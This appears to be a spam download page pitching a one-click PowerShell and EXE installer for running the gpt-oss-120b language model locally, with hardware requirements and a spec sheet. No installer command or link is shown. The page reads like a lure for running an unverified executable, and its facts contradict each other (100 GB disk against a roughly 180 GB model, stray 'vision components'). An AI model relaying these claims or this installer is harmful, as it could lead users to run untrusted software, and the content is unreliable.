gpt-oss-120b Locally via Ollama 2 Quantized GGUF Direct EXE Setup

Using a native PowerShell script is the absolute quickest way to install this model.

Kindly follow the on-screen instructions below.

The loader auto-caches the model archive (several GBs included).

Without any user input, the software calibrates parameters for optimal hardware usage.

🛡️ Checksum: 823e21e9bfabbd4d3ef3d540edd537aa — ⏰ Updated on: 2026-07-04



  • Processor: high single-core performance needed for token latency
  • RAM: high-speed DDR5 memory preferred for CPU offloading
  • Disk Space: 100 GB for multi-modal model vision components
  • Graphic Processor: hardware Tensor Cores support needed for FP16 acceleration

The gpt-oss-120b is an open‑source large language model featuring 120 billion parameters, built to enable transparent research and commercial deployment. It employs a mixture‑of‑experts architecture that balances inference efficiency with high contextual coherence across diverse tasks. The model supports multiple languages and incorporates built‑in safety alignments to reduce hallucinations and improve reliability. Benchmarks show it outperforms many 70‑billion‑parameter systems on reasoning tasks while consuming less computational power than comparable 175‑billion‑parameter models. A dedicated community hub provides pre‑trained checkpoints, fine‑tuning scripts, and comprehensive documentation for developers and researchers.

Parameters 120 billion
Training Data Web‑scale corpora in multiple languages
Inference Latency ≈120 ms per 512‑token sequence on GPU
Model Size ≈180 GB (float16)

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